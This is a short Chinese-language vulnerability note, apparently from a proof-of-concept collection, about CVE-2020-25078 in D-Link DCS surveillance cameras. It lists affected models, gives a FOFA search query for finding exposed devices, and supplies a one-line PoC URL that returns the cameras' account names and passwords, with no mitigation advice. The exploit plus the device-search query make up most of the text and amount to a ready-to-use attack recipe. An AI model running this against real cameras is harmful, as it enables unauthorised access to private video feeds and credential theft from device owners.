D-Link DCS系列监控账号密码信息泄露 CVE-2020-25078.md

450 B / 2021-05-21 09:14:38

    # D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078

D-Link DCS系列监控 通过访问特定的URL得到账号密码信息，攻击者通过漏洞进入后台可以获取视频监控页面。

FOFA：

app="D_Link-DCS-2530L"

影响版本：

* DCS-2530L
* DCS-2670L
* DCS-4603
* DCS-4622
* 等多个DCS系列系统

PoC：

```
http://xxx.xxx.xxx.xxx/config/getuser?index=0
```

ref:

https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg